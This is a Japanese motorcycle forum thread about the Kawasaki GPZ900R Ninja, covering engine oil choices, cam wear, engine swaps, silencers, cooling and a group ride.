273:７７４ＲＲ
05/11/03 18:18:59 /WNw1T9E
>>272
そのカラーはA9だけじゃないんですけど
知ったか君ですか？ｗ
274:７７４ＲＲ
05/11/03 19:55:41 YfLbJsbs
規制後の青/銀には赤ラインが入る・・
それだけで違って見える・・・
275:７７４ＲＲ
05/11/03 20:25:25 /WNw1T9E
>>274
規制前
A1A9A10も
細い赤ラインは有りますので・・・
276:７７４ＲＲ
05/11/03 21:35:08 OEXV0yID
中古のフルノーマルＡ１０決めました、これから宜しくお願いします
277:７７４ＲＲ
05/11/03 21:35:51 SgrAkOcC
だいじに乗ったげてね
278:276
05/11/03 21:38:51 OEXV0yID
来週納車で待ち遠しいです！！国内であまり綺麗じゃ無いですが、少しづつやって行きたいと思います
目標は今月のロードライダーのUENOR&Dの忍者です
279:７７４ＲＲ
05/11/03 23:27:04 5bIy2LMg
>>278
バイク磨く前に腕を磨け
バイクは走ってナンボ。
280:７７４ＲＲ
05/11/03 23:43:44 N0/o+T2c
まずはノーマルの楽しんだほうが良いのでは、
281:７７４ＲＲ
05/11/04 13:02:27 NG9HdZZ/
なんでいじめるかね？
282:７７４ＲＲ
05/11/04 14:34:38 MBou8RYi
バイクを磨き、腕を磨く為よく走り、暇と金があるからカスタムし
顔や性格が良い男も、世の中にはいる。
283:７７４ＲＲ
05/11/04 16:17:08 ZN/pzzDi
>>278
A10ノーマル。オレも１０年ぐらい前に国内A10かったなぁ。
やっぱり古いからノーマルの調子の良い状態を目指してから
いじる方が良いかと＾＾
身近にも忍者買って即フルカスタムしたの居るけど・・・
ノーマルから何処がどう良くなって・・・又は悪くなったりした
のか全然解ってない。
少しずつ＾＾憧れの仕様に＾＾楽しいね。
284:７７４ＲＲ
05/11/04 18:11:28 gPzR/qDO
なんとなくIDがGPｚR/９００っぽいので記念真紀子
285:７７４ＲＲ
05/11/04 18:53:36 WFG4Qldt
教えてください先輩方！
URLﾘﾝｸ(page13.auctions.yahoo.co.jp)
これって効果ありますか？
286:７７４ＲＲ
05/11/04 19:02:45 NG9HdZZ/
「ドレスアップ効果も兼ね備えたオイルラインキット」
なんじゃないの？
普通、なにかに困っていてそれに対して対処両方として修理なりパーツ追加がある
「私は○○で困っています。このパーツは効果ありますか？」
なら答えようがあるが、あなたが何に困っているかわからないので答えられず。
。。。でよい？
287:７７４ＲＲ
05/11/04 19:26:38 WFG4Qldt
285です
よくカムがかじるって言うじゃないですか
これを付ければかじんなくなるかと思ったのさぁ
288:７７４ＲＲ
05/11/04 19:31:25 NG9HdZZ/
カムはかじるよ
多かれ少なかれ
無駄なアイドリングをやめて適切なオイル交換でかなり防げます。
で、オイルラインキットつけても
だらだらアイドリングしたりオイル交換サボったりタペットクリアランス
キチンと管理しなかったらかじります。
ということで、かじり対策であれば、こんなパーツつけるよりも
・低油圧でのエンジン運用を控える
・いいオイルを入れる
・タペットクリアランス管理を定期的に行う
でじゅうぶんだと思います。
289:276
05/11/04 20:52:44 XuZ6THbx
>>280
>>283
まずはノーマルを十分に堪能いたします！ってか気になる所をレストアして行ったら
数年はノーマルのままですが・・・（汗 ずっと乗り続けたいので少しずつ完調を目指します。
290:16in乗り
05/11/04 22:35:54 ND2f8Is+
マカダムのグリップに満足してますが、
段べりによるハンドル振られに悩んでます｡
(ブリジストンは接地感が乏しくて苦手。)
マカダムの前はジェグラ愛用でしたが、
最近出たＫ300ＧＰはどんな感じですか？
291:７７４ＲＲ
05/11/04 23:11:09 dCKkWSxk
>>290
20年前にCB750乗ってたときに入れていたが、昔のK300GPより良いと聞いている。
292:７７４ＲＲ
05/11/05 03:06:30 bVM+6trD
>>288どこのオイル入れてるんですか？ ちなみにモチュール300V入れてます
293:７７４ＲＲ
05/11/05 09:05:31 EKoo6D/+
モ厨ｗ
294:７７４ＲＲ
05/11/05 13:50:21 bVM+6trD
同じNinja乗りに>>293みたいのがいるとガックリだね
295:７７４ＲＲ
05/11/05 16:38:48 KNzqIoBq
>>同じNinja乗りに
この考え方にガックリだね
296:７７４ＲＲ
05/11/05 16:42:39 4uZwUgUJ
ﾊﾞｲｸ乗りというのは孤独なものなのだ
297:７７４ＲＲ
05/11/05 21:20:37 1sN8Zuuz
モチュールか十分すぎるほどいいオイルじゃん
わかって聞いてると思う私は穿ちすぎ？
298:７７４ＲＲ
05/11/05 22:58:40 7DJwCiDl
>>294
うわぁ･･･こんなのもNinja糊･･･
299:７７４ＲＲ
05/11/06 00:37:51 m1Ze1F9U
>>293>>295>>298
あらすなボケ
300:７７４ＲＲ
05/11/06 11:21:17 jH3bzIkk
ｳﾙﾄﾗS9で充分ﾃﾞｼ。
ﾎﾑｾﾝで980円/ℓ以下で買えて経済的、２ヶ月ごとに換えてる。
301:７７４ＲＲ
05/11/06 13:00:39 hPL4TRId
>>300
高価なオイルを長めに使うか、安価なオイルを早めに取り替えるか、
どちらが良いか？
ヒント： タイヤ購入時の選択と一緒(性能差)
302:７７４ＲＲ
05/11/06 13:37:35 cVMqkpqm
なんで
高価なオイル
を
長め
につかわにゃいかんのさ
選択肢が間違ってる
303:７７４ＲＲ
05/11/06 13:54:36 jH3bzIkk
>301
高価なオイル＝長持ちするってこと？
高価なハイグリップタイヤだと長いこと使えるような言い回しだなw
304:７７４ＲＲ
05/11/06 18:24:33 dLYFjRqI
普通に考えて高価なオイルを長く使うより、普通のオイルをこまめに換えた方がだんぜん良いだろ！
305:７７４ＲＲ
05/11/06 18:37:02 n8xHd5Vx
僕モチュール３００Ｖを２０００ｋｍごとに換えてるよ
306:７７４ＲＲ
05/11/06 18:47:15 dLYFjRqI
良いオイルをこまめに換えるのが一番良いよね～。
307:７７４ＲＲ
05/11/06 20:57:44 9g3SfLVM
今月号の月刊「培倶人」バイク日和に出てる赤/銀のニンジャ渋いですね。
適度にいじってあって、マニア好みのニンジャです。
オーナーの女性も素敵な方ですね。
この先ニンジャに乗り続けられるか自信を無くしていましたが、まだまだ
気合入れて乗ろうと考え直したよ・・・
308:７７４ＲＲ
05/11/06 21:12:01 hyF1j22J
高価なオイルを普通のスパンで換えればいいじゃないか｡
309:７７４ＲＲ
05/11/06 21:55:00 oF+QUroq
クルマと違ってオイルの色や粘度確認するのメンドクサイよね。
良いオイルほどエンジンの痛み？吸収する訳で・・・
>>307
オレも賛成です。８万超えた愛車もヘッド開けてもカムかじり
の兆候今の所なし＾＾ EGが当たり？かな？
オーバーホール考えたら気分的に安いかなぁ？
3000キロ走って汚れないオイルって一度クルマでつかった事ある。
怖くて直ぐに交換したけど・・・
310:３０９
05/11/06 21:57:45 oF+QUroq
>>307
ではなくて
>>308
でした 失礼
311:７７４ＲＲ
05/11/06 22:11:42 hyF1j22J
3000km走って抜く時に綺麗なオイルは心配だね｡
312:７７４ＲＲ
05/11/06 22:26:19 rZ6mSszR
>>311
同意
何のためのオイルなのかと
ついでに言えば、某有名銘柄はその･･･
313:７７４ＲＲ
05/11/06 22:34:00 CDWQHQe7
>>312
詳しく！
314:７７４ＲＲ
05/11/06 22:36:19 wcLz9/8Z
長持ちしそうでいいなｗ
315:７７４ＲＲ
05/11/07 00:25:05 kqCzkn2A
忍者750にヨシムラTMRの38パイ付けたら普通に街乗りできる位のセッティング出せるかな？
口径でかすぎてどうしようもない？
316:７７４ＲＲ
05/11/07 20:36:14 /E6iXvsn
でません
317:７７４ＲＲ
05/11/08 00:37:17 uwixnkzT
純正のホイルを 換えると 直径が 小さくなりますよね？？ そーすると加速は良くなるが 最高速が落ちるのですか？
318:７７４ＲＲ
05/11/08 00:44:03 fNbbqUa9
>>317
(・∀・)ﾆﾔﾆﾔ
319:７７４ＲＲ
05/11/08 07:35:21 FFjhec7C
>317 はﾎｲｰﾙだけで走るのかいw
320:７７４ＲＲ
05/11/08 08:41:18 ZIurqL8B
ヒント：スプロケ
321:７７４ＲＲ
05/11/08 15:14:24 4WFTHAh+
普通に答えてあげればいいじゃないすか。
なにがニヤニヤだか。
本音マンに言わせるとまた違う理論があるようだが。。。
322:７７４ＲＲ
05/11/08 16:38:49 EpiIPbju
なんか嫌な奴増えてきたよな ここ
323:７７４ＲＲ
05/11/08 17:10:36 ZLo1W9Jc
ってゆうか最近、教えて君が増えてきたような気がする
ネットできる環境があるんだからある程度は自分で調べられると思うが…
324:７７４ＲＲ
05/11/08 17:45:47 EpiIPbju
教えて君がいてもよくない？忍者乗りの先輩、後輩としてさぁ
325:７７４ＲＲ
05/11/08 18:08:46 J0txkHl6
URLﾘﾝｸ(www.huckleberry-bike.jp)
326:７７４ＲＲ
05/11/08 18:18:27 dogy//6w
>>323
無視すればいいのに・・・。
327:７７４RR
05/11/08 19:19:24 UH+ySWL/
>>325
カコイイ！俺のとは全然違うw
328:７７４ＲＲ
05/11/08 20:38:49 EpiIPbju
>>325 これスイングアーム何処の？
329:７７４ＲＲ
05/11/08 20:57:56 J0txkHl6
>>328
OVERと思われます｡
330:７７４ＲＲ
05/11/08 21:06:25 WOLYSJlT
コレまだ売れないのか？
色は良いが
国内もんで鱸の足だからｶﾅｰ
そんんでもって値高杉
正直オレのよりはｶｺﾜﾙｲﾅ
331:７７４ＲＲ
05/11/08 21:07:28 /BxTuS8s
【関東第6.1回 v（･∀･）yaeh!OFF in 房総半島】-紅葉パッチ当てました-
＊＊期日＊＊
2005年11月19日（土） 初の土曜開催。反応はいかに？
＊＊集合時刻＊＊
・国道16号組：9時00分 ミニストップ市原桜台店
URLﾘﾝｸ(www.mapion.co.jp)
・フェリー組：7時30分 久里浜港集合（もしくは8時30分に金谷港）
URLﾘﾝｸ(www.mapion.co.jp)
＊＊休憩地出発予定時刻＊＊
・国道16号組
10:40 道の駅「ふれあいパークきみつ」
11:40 道の駅「道の駅「鴨川オーシャンパーク」
・フェリー組
09:00 金谷フェリーターミナル
10:10 ローソン館山北条海岸店
11:40 道の駅「ちくら潮風王国」
≪12:00 ローズマリー公園にて全員集合！≫
＊＊持ち物＊＊
バイク、お小遣い、河童（無理な場合、合羽で）、おやつ、yaeh! 魂
＊＊諸注意＊＊
・前日20時時点で舘山の降水確率が40%以上なら中止
・防寒への備えを忘れずに お土産が「風邪」では悲すぃ
・おやつは500円まで バナナはおやつではありません デザートです
・詳細はまとめサイトへどうぞ URLﾘﾝｸ(www.hakusi.com)
332:７７４ＲＲ
05/11/08 21:12:44 ZIurqL8B
>>325
どこのマフラーかわからないがサイレンサー太すぎじゃない？
見た目的に好みでない。
333:↑
05/11/08 21:15:21 WOLYSJlT
きもすぎ
334:７７４ＲＲ
05/11/08 21:17:14 WOLYSJlT
>>332
おいおい
どう見てもテックサーフだろ！
335:３３３
05/11/08 21:20:56 WOLYSJlT
>>333は
>>321へね
336:７７４ＲＲ
05/11/08 21:50:16 ZIurqL8B
>>332
あ、テックサーフか。あんがとん。周りの忍者乗りにつけてるやついなくて気づかなかったorz
ところでみんなのサイレンサーのポリシーとか好みってある？
337:７７４ＲＲ
05/11/08 22:21:45 WcScDzZU
Muzzy
338:７７４ＲＲ
05/11/08 22:46:35 fNbbqUa9
322 名前： ７７４ＲＲ [sage] 投稿日： 2005/11/08(火) 16:38:49 ID:EpiIPbju
なんか嫌な奴増えてきたよな ここ
324 名前： ７７４ＲＲ [sage] 投稿日： 2005/11/08(火) 17:45:47 ID:EpiIPbju
教えて君がいてもよくない？忍者乗りの先輩、後輩としてさぁ
328 名前： ７７４ＲＲ [sage] 投稿日： 2005/11/08(火) 20:38:49 ID:EpiIPbju
>>325 これスイングアーム何処の？
ﾃﾗﾜﾛｽｗｗｗｗｗｗｗｗｗ
339:７７４ＲＲ
05/11/08 23:03:19 EpiIPbju
俺特集だぁ＼(^O^)／
340:７７４ＲＲ
05/11/09 00:19:32 PC0LAA9W
>>336
初期の頃のチェイスのサイレンサーってエンド部がデビルみたいにカールしてて好きだった。
用品店に買いに行ったらマイナーチェンでストレート＆端部折り曲げ処理で造形的イマイチだった。
旧タイプ残ってないか店員に聞いたら、メーカーでそこだけ手直しできるというので即注文。
てもとに届いたのはストレート形状そのままで端部折り曲げ部だけぶった切ったものだった。
スペシャル品だから渋々買い取った・・・orz
10年前の出来事、いまだに付けてます。
341:７７４ＲＲ
05/11/09 00:19:52 SSIMi1Sy
>>316
サンクス
現在G1をレストア中でヨシムラTMRが安く手に入りそうだったので
排気量アップまでの繋ぎに使えるかなと思いましたがヤフオク辺りでノーマルキャブ探します。
342:７７４ＲＲ
05/11/09 00:26:32 lRHyG5bu
やっぱ月木のTRかなあ｡ﾅｲﾄﾛが出る前の｡
343:７７４ＲＲ
05/11/09 00:40:37 pcF7JS2J
1000RXのエンジンも安くなってきてるからキャブに合わせてエンジン
積み替えちゃえば？＞341
車検だってどうにでもなるよ（正当にだぞ）。
344:７７４ＲＲ
05/11/09 08:10:51 p5mTXMci
どうせ載せかえるのなら
あえてＲＸエンジンは要らんな
345:７７４ＲＲ
05/11/09 12:35:30 qOwZ1tY4
俺の読解力が足りんのか。。。
意味がわかりません。
346:７７４ＲＲ
05/11/09 13:06:24 lRHyG5bu
RXのエンジンじゃなくてもいい
って事じゃないか?
347:７７４ＲＲ
05/11/09 14:24:45 c67C1hvV
ZRXとZZRの２個１のエンジンが熱いんでないの？
348:７７４ＲＲ
05/11/09 17:17:29 jB+dd/se
腰下ＺＺＲ１２００、腰上ＺＲＸ１２００の逆車にＦＣＲとかすげえパワーでそうじゃね？
349:７７４ＲＲ
05/11/09 18:06:26 qOwZ1tY4
頭悪そうだなｗ
350:７７４ＲＲ
05/11/09 21:08:02 lRHyG5bu
スリーブレスのメッキシリンダーってボアアップできるのかな?
351:７７４ＲＲ
05/11/09 21:27:29 O+Od1Fwg
ＲＸのエンジンを載せるくらいなら､
ＲＸに乗るか・ＲＸを買い足すなあ。
352:７７４ＲＲ
05/11/09 21:46:52 rg+/0U+D
>>350
やってできないことはないけど元々隣のシリンダが近いから肉厚は…。
あととってもお高いしピストンをどうするかという問題もある。
つまり結論として現実的でない。
353:７７４ＲＲ
05/11/09 23:02:21 pcF7JS2J
>351
ふっふっふ
RXと17インチ900R両方持ってますが
正直スタイル以外は900Rの勝ち
RXまともに走るように手を入れると大変よ。。。
なんたってブレーキがすごい
１台分でピストンが３つしかないｗ
354:MD22
05/11/10 02:59:49 Wqo2Ul55
近所のCDやゲームのリサイクルショップの軒下の目立たない所にRXが放置してある。
｢売ってくれないかな？｣と思いながらも、もう何年置いてあるやら…。
355:７７４ＲＲ
05/11/10 08:31:54 S/ok3LtJ
ＺＺＲ１１００のノーマルＥＧが転がってるんだけど、君ならどう料理する？
356:７７４ＲＲ
05/11/10 10:35:46 8tOonsff
>>355
料理するのがめんどくさいから普通にヤフオクいき。
357:７７４ＲＲ
05/11/10 10:38:40 GUnMBRmT
RXはそろそろ状態の良い物がなくなる頃じゃないか？
俺の乗ってたのなんてもうエライコトになってたぞ？
358:７７４ＲＲ
05/11/10 10:43:35 ouMZa/eh
>>356
僕も。
359:７７４ＲＲ
05/11/10 11:41:43 cHfCvyMS
>>356
もちろんノークレーム・ノーリターンで。
360:(≠´∀`ョ) ◆XXZOJFA9.s
05/11/10 11:54:54 VpLguulx
もしも別のエンジンのっける事態になったら、
７５０ＳＳのエンジンせたいです。
たしか実際に乗せた個体が存在したはずなんだが・・・
誰か画像もってないでしょうか？
361:７７４ＲＲ
05/11/10 13:34:18 +WhB5R13
>>360
ベビーフェイスの作ったシルバーの奴だな。
今晩時間があったら本の写真うｐしてあげるよ。
362:(≠´∀`ｮ) ◆XXZOJFA9.s
05/11/10 19:22:13 CXN4jy3r
>>361
そうです。おそらくそのシルバーのです!
鬼のようにカッコいい仕上がりたったと記憶してます。
363:７７４ＲＲ
05/11/10 19:28:22 S/ok3LtJ
えっ！？ カッコいい？？？
そうかなぁ・・・？
364:７７４ＲＲ
05/11/10 19:34:56 iNoFbQZD
NinjaだったらやっぱりGPZ1100だと思います
ZRXヘッドのあのフィンはどうにもなんとも
1000RXだったら12Rでもなんでもドでかいエンジン積みたいところです
365:７７４ＲＲ
05/11/10 21:35:20 M83X8tab
料理するの面倒とか言ってるﾔｼたちの
ニンジャってどんなんだろう
とーっても興味あるなーwww
366:７７４ＲＲ
05/11/10 21:35:47 cb3FUwIR
>>362
鬼のようにカッコわるいと思います。
367:７７４ＲＲ
05/11/10 21:54:11 LbTQtvq2
>>360
361じゃないけどうｐしてみた。
本をそのままデジカメで撮ったので
本の内側がゆがんでるが勘弁（ｗ
URLﾘﾝｸ(just-strike.web.infoseek.co.jp)
368:７７４ＲＲ
05/11/10 22:07:45 IneVaMdD
>>354
>>近所のCDやゲームのリサイクルショップの軒下の目立たない所にRXが放置してある。
｢売ってくれないかな？｣と思いながらも、もう何年置いてあるやら…。
もしかして近所かも・・・
A県K市？
369:７７４ＲＲ
05/11/10 23:10:07 o4FISuVI
青森県黒石市
秋田県潟上市
秋田県鹿角市
秋田県北秋田市
愛知県春日井市
愛知県刈谷市
愛知県清須市
愛知県江南市
愛知県小牧市
小牧とみた！
370:７７４ＲＲ
05/11/10 23:22:51 R2jTdZk+
このバイク乗りやすい？
371:７７４ＲＲ
05/11/10 23:30:00 szRimXm5
・・・・・・・・・・・・・・・・・・・・・・・。
372:７７４ＲＲ
05/11/10 23:35:18 TMhK3wyT
>>362：「鬼のようにカッコいい」
>>366：「鬼のようにカッコわるい」
362は鬼をカッコいいと思っていて、
366は鬼をカッコわるいと思っているということは解った。
373:７７４ＲＲ
05/11/11 00:02:37 mit1D5ly
>>372
とりあえず俺は鬼のようにカッコわるいに1票。
てかＮｉｎｊａでやらなくてもいいだろ？このカスタム。
音とか想像すると萎えてくる・・・。
374:７７４ＲＲ
05/11/11 00:47:34 sqkopxG6
チャンバーの取り回しを工夫して、フルカウルだったら好きかも。
375:７７４ＲＲ
05/11/11 00:54:31 wZ3Gl45R
いい車体にトリプル2stなら判るけどさ・・・・・
376:７７４ＲＲ
05/11/11 05:26:02 fS56SmKJ
忍者でする理由がいまいちわからん｡個人的にはかっこ悪いに1票｡
377:７７４ＲＲ
05/11/11 07:13:06 J3Pj0+7R
なぜこのカッコよさがおまえらにゃ理解できないんだ。
(≠´∀`ｮ)さん、こいつらにビシッと言ってやって下さいよ！
378:７７４ＲＲ
05/11/11 07:40:33 1Y65G+ET
(≠´∀`ｮ) ◆XXZOJFA9.s は
センスがないってことで
379:７７４ＲＲ
05/11/11 08:52:10 kIWsBi6+
>>378
フゴたんをいじめるな！
380:(≠´∀`ｮ) ◆XXZOJFA9.s
05/11/11 09:14:18 m4xlkYLS
>>367
さんくす！これです。これです・・・
381:(≠´∀`ｮ) ◆XXZOJFA9.s
05/11/11 09:44:26 m4xlkYLS
ちょｗｗｗｗｗバンクセンサー長杉ｗｗｗ
ｳｴｯｳェｯｹﾞﾎｹﾞﾎ…
382:７７４ＲＲ
05/11/11 09:59:24 Dy195mQB
よく気づいたね＞バンクセンサ
なにがなんでもワンオフめっきチャンバを擦りたくないらしいｗ
383:７７４ＲＲ
05/11/11 15:00:42 99WjdMom
もう新車は手に入りませんか？
384:７７４ＲＲ
05/11/11 19:22:17 zIUt/hJS
>>383
金しだいだろ‥
385:７７４ＲＲ
05/11/11 21:02:52 rIWi97ih
>>367がカコ悪いと思う人はエンジンの前のラジエターがあるハズの部分がスカスカしているのがダメなんだと思う。
チャンバー擦るんおがイヤならこの部分にとぐろ巻いてよせておけば、奇抜なデザインながら
もう少しカコ良くなったんじゃないかと思う。
386:７７４ＲＲ
05/11/11 21:38:29 RsWlBPeL
>>367より物は小さいが、なんだか同じ香りが･･･
URLﾘﾝｸ(blog.so-net.ne.jp)
387:MD22
05/11/11 21:45:04 hVI6KVl7
>>368
多分ソコで合ってると思います。
俺は西隣の市に住んでますが、近いのでたまにＣＤとか物色に行きます。
388:７７４ＲＲ
05/11/11 21:49:38 Yj+F/Flv
Ｍｉｎｉｎｊａかわいーねぇ
389:７７４ＲＲ
05/11/11 21:55:39 N4jjxErr
>385
そーいう事じゃなくで「デリカシー」の問題だと思うよ｡
390:７７４ＲＲ
05/11/11 21:58:00 QI+Et2hP
あんなのｶｯｺｲｲなんて・・・
わかってねーなー
391:７７４ＲＲ
05/11/11 22:14:22 fS56SmKJ
忍者はノーマルエンジンもデザインの一部だからハーフカウルも
似合う｡それを崩してよりかっこよくするのは結構センスがいりそう｡
392:７７４ＲＲ
05/11/11 22:20:29 Yj+F/Flv
ここまでの議論になるとは‥
形こそ違え皆さんニンジャが好きなんですね。
やっぱりこのスレ良い。
蛇足ですが、私はノーマルの状態が完成形だと思ってますので、
デカチャンバーやラジエター部分スカスカは違和感有りますが、
これはこれでこの人なりのニンジャなんでアリだと思います。
ちなみに最近荒れ気味だし前みたいな雰囲気に戻したいと言ってみるテストw
393:７７４ＲＲ
05/11/11 22:48:55 D6AoL5rW
俺的にはやっぱﾗｼﾞｴｰﾀｰはあって欲しい。
そんなこんなで自分の忍者も冷却系が気になる今日この頃。
今はﾉｰﾏﾙなんだけど峠を走ると水温計が赤まで振れちゃうから不安なんですけど平気なのかな！？
394:７７４ＲＲ
05/11/11 22:58:38 Yj+F/Flv
>>393
私も購入した当時はそればっかり考えてました。
あとやたら重いなぁって。
もちろんファンも回りまくり。プロトとかの欲しいけど高いし
エア抜きやお汁交換とか色々試しましたよ。
ここの過去レスにかなり冷却系の書き込みがあるので
参照してみられるのも良いかもしれません。
私は個人的にはワコーズのヒートブロックでなんとかやってます。
395:７７４ＲＲ
05/11/11 23:04:53 Yj+F/Flv
すいません、３９４です。
今確認したらこのスレではなく前スレでした。
１にあるスレです。ごめんなさい。
396:７７４ＲＲ
05/11/11 23:17:15 t0V62bQr
>>387
俺は東隣の町。
出会ってるかも・・・
397:７７４ＲＲ
05/11/12 01:46:11 2NgHQ+ys
>>393
ここの６７０以降くらい。
URLﾘﾝｸ(makimo.to)
あとパッとしか見てないけどここの６００前後くらいと６７０以降くらい。
URLﾘﾝｸ(makimo.to)
下の方は昔テレビのロードショーでトップガンやってた時の
実況もあるから全部読んでみるのも楽しいかもしれない。
昔からこのスレの常連さんならいらぬお世話スマソ。
398:MD22
05/11/12 02:15:42 BVrcaT77
>>396
割と近所ですね。
もしかしたらすれ違ってたりとか、守山とかで見かけてるかも…。
俺のはトップガンカラーのG1です。
もし見かけても石とか投げるのは禁止で。(笑)
399:７７４ＲＲ
05/11/12 10:41:33 CWOwTSkt
394
ありがととりあえずｸｰﾗﾝﾄ交換してみまぁす。
400:７７４ＲＲ
05/11/12 16:42:52 qMU+0jZv
>>398
トップガンカラー？
たぶん守山で見てる。
俺の色は言うとばれちゃうんで言わない。
来週の守山は行くつもり。
Ninja4、5台で集まってる。
401:７７４ＲＲ
05/11/12 17:07:28 t4R1McMh
ﾌﾟﾛﾄのﾗｼﾞｴﾀｰは冷えすぎるよ。
この時期だと油温で70度ちょっとしか上がらなかった
402:７７４ＲＲ
05/11/12 20:22:18 xsINz+7d
>>400
いわなくてもわかったよ（ｗ
403:MD22
05/11/12 23:38:52 5fOd3PUN
>>400
ウホッ、見られてましたか。
俺のはあそこに来る忍者の中では一際貧乏臭いので、見られてたとはお恥ずかし
い。(w
俺はｔまに行ってもそんなにバイク見る訳でもなく、コーヒー飲んで一服して、
割りとすぐ退散するし･･･｡
来週は仕事だけど、行けそうだったら一人で勝手に「>>400の忍者を見つけてニ
ヤ(・∀・)ニヤと眺めるオフ」でもするかな。(笑)
404:７７４ＲＲ
05/11/14 17:59:03 QecI9lTh
ニンジャって発熱量がすごいっていうけど、やっぱ冬でも硬めのオイル入れてるのですか？
405:７７４ＲＲ
05/11/14 18:36:54 V2HLJdh5
ふつうのオイル
406:忍龍伝 ◆6......PA.
05/11/14 22:30:20 T7ASpJQ4
いやー寒いよね。ﾆﾝﾆﾝな皆さんは如何お過ごしでしょうか
今年ももうすぐ暮れに向かい・・・皆さんは悔いのない一年を過ごせましたか？
悔いが残る人はまだ遅くない。残り一ヶ月半、仕事に学業に、そしてバイクライフにと頑張って奮闘して下さい
そんじゃまたね
407:７７４ＲＲ
05/11/14 23:36:18 T39nKVDU
東京近辺に住んでいて、ベルト付きのシートが欲しいな～って思っている人っていますよね？
そんな人に耳よりな情報です、私はベルト無しが欲しいと思っています。
交換しましょう！
408:７７４ＲＲ
05/11/15 01:49:10 eT8Cf84A
>>404
夏は15～50
冬は10～40
が理想だとninjaファイル４には書いてあるぞ。
409:７７４ＲＲ
05/11/15 13:18:57 dHwLLt1n
一年中10-40でじゅうぶんでしょ
410:７７４ＲＲ
05/11/15 19:45:05 +G8kTJb8
自分のA7は真冬に15W（モチュ）をいれると冷間始動でワンウェイクラッチがすべるので
10Wをいれてだましだまし寒い時期をやりすごす。
411:７７４ＲＲ
05/11/15 20:22:00 QoDxEDnq
じゃあ10-40でせめてGPSぐらい入れておこうかな
あ、俺のニンジャは仕様でプラスの配線一つ余ってるんだけどさ（速度警告灯？）
同じような人そこに何か付けてる？
シガーソケットあたり付けたら便利かと思われる
412:７７４ＲＲ
05/11/15 20:29:21 8L5ph68b
みんなモチュがエエというが、俺にはわからん。。。硫黄臭いだけのような・・・。
413:７７４ＲＲ
05/11/15 20:39:46 mh4c4pCd
300Vはよく回る｡4CRも｡どっちもおいしいとこは短いけど｡
414:７７４ＲＲ
05/11/16 07:52:23 IL1koC/x
高級オイル入れてる人達ってみんなガンガン回して乗ってるの？
415:７７４ＲＲ
05/11/16 08:41:58 nH0ZuqFa
最初カストロールの安いの入れてたけど、
300Vに換えたらエンジンの回転が驚くほどスムーズに
なった。
正直、オイルでここまで変わると思わなかったよ。
416:７７４ＲＲ
05/11/16 15:16:04 frI+KOg/
別に415氏を否定するわけじゃないんだけどさ、何のオイルでも交換した
直後はエンジンのフィーリングがよくなるじゃない。
それで300Vを神オイル的に絶賛してる人が少なからず居る気がする。
添加剤も同じ理由で。
417:415
05/11/16 15:40:05 nH0ZuqFa
確かにその通りですね。
しかし、その時は以前の交換時とは明らかに違いがあったのですよ。
自分は300Vﾏﾝｾｰではないですよ。
300Vばかり使用してるので、ある意味ベンチマークにはなってます。
良い他銘柄があれば試してみたいですけどね。
418:７７４ＲＲ
05/11/16 16:08:27 e7UAMeOG
俺も300Vと4CRはｴﾝｼﾞﾝﾌｨｰﾙに明らかな違いが感じられる位
ﾌﾘｸｼｮﾝﾛｽが少ないと思うけどなあ｡2000円/1L位のOILと比較
した場合ですけど｡
419:７７４ＲＲ
05/11/16 17:27:32 M2De+K1X
300Vはな、
エンジンばらした時に、良さを思い知る。
420:７７４ＲＲ
05/11/16 17:39:26 Dj5Q8Nh3
オイルの話は専スレあるだろうに
421:７７４ＲＲ
05/11/16 22:48:33 fvOrSJ4R
餅売るがｴｽﾃﾙ系のｵｲﾙを開発してるから
通常は他所のｵｲﾙよりも優位性があるだけ
422:７７４ＲＲ
05/11/17 02:12:14 B09dU1Et
なんか419は説得力あるな。
300Vじゃなくて5100（？）シリーズあるじゃん？俺は値段を考慮してそれを入れようともくろんでます。
423:さと
05/11/17 03:07:51 i3gKWfDg
おばんです。すいません300Vってどこのメーカーのｵｲﾙですかぁ？すいません！
424:７７４ＲＲ
05/11/17 03:14:53 uf6cxyL+
MOTUL
425:(≠´∀`ｮ) ◆XXZOJFA9.s
05/11/17 11:06:40 HWIdXLBX
僕も300V使ってる。だいたい3000ｷﾛで交換。
426:７７４ＲＲ
05/11/17 11:19:55 /gbdPPLO
しつこい！
オイルの話は専スレ行ってやれ！
427:７７４ＲＲ
05/11/17 12:07:21 WK5q99GP
ほかに話題がないみたいだからいいじゃん
428:７７４ＲＲ
05/11/17 13:28:53 /gbdPPLO
ﾖｸﾅｲ
専ｽﾚｲｹ！
429:７７４ＲＲ
05/11/17 14:10:36 TQTeSeHq
そういう時は
あなたが
おもろいネタを
ふる
430:７７４ＲＲ
05/11/17 19:37:32 uf6cxyL+
んじゃ､みなさんはお気に入りのｶｽﾀﾑﾊﾟｰﾂﾒｰｶｰとかありますか?
431:７７４ＲＲ
05/11/17 20:03:45 fJ/jHphh
ﾊﾟｰﾂｽﾚ逝（略
432:７７４ＲＲ
05/11/17 21:01:36 uzhadbSs
来年売ることに決めたよ・・・
433:７７４ＲＲ
05/11/17 21:10:27 nM9s3z7j
>>426
>しつこい！オイルの話は専スレ行ってやれ！
そうそうあなたの言う通り！
オイルの話題は専用レスへ！
エンジンの話題は専用レスへ！
タイヤの話題は専用レスへ！
ラジエターの話題は専用レスへ！
デザインの話題は専用レスへ！
ですよね．．．．．＾＾
434:７７４ＲＲ
05/11/17 21:13:54 1PGvRMKK
わかってるじゃんｗ
435:７７４ＲＲ
05/11/17 21:20:55 nM9s3z7j
>>434
ありがとう！
おいおい．．．そこの．．．
>気に入りのｶｽﾀﾑﾊﾟｰﾂﾒｰｶｰとかありますか?
お気に入りのｶｽﾀﾑﾊﾟｰﾂﾒｰｶｰは専用レスに書かないと
>>426 がまた文句言うよ＾＾
でっ．．．．ここでは何を書けば良いの．．．
436:７７４ＲＲ
05/11/17 21:27:04 uf6cxyL+
もう話す事ないね｡
437:７７４ＲＲ
05/11/17 21:35:03 oT2q2gMt
もうGPZも道路のガラクタなのか・・・
438:７７４ＲＲ
05/11/17 21:37:15 nM9s3z7j
>>436
>>426を適当にホメ殺しといたんで、本人も判ってくれたかな？
オイルの話じゃなくて、忍者に対してどんなオイルか？の話だよね＾＾
>>430ごめんね引き合いに出して(^^ゞ
439:７７４ＲＲ
05/11/17 23:18:51 vNfKH53K
ホレ
URLﾘﾝｸ(page9.auctions.yahoo.co.jp)
440:７７４ＲＲ
05/11/17 23:25:19 YdKImcO4
>前回出品のときはすいませんでした 頭に来て感情的になりました
441:７７４ＲＲ
05/11/17 23:33:08 hNXjLDIP
また0が一つ多い罠w
442:７７４ＲＲ
05/11/17 23:33:51 fh6tmWtR
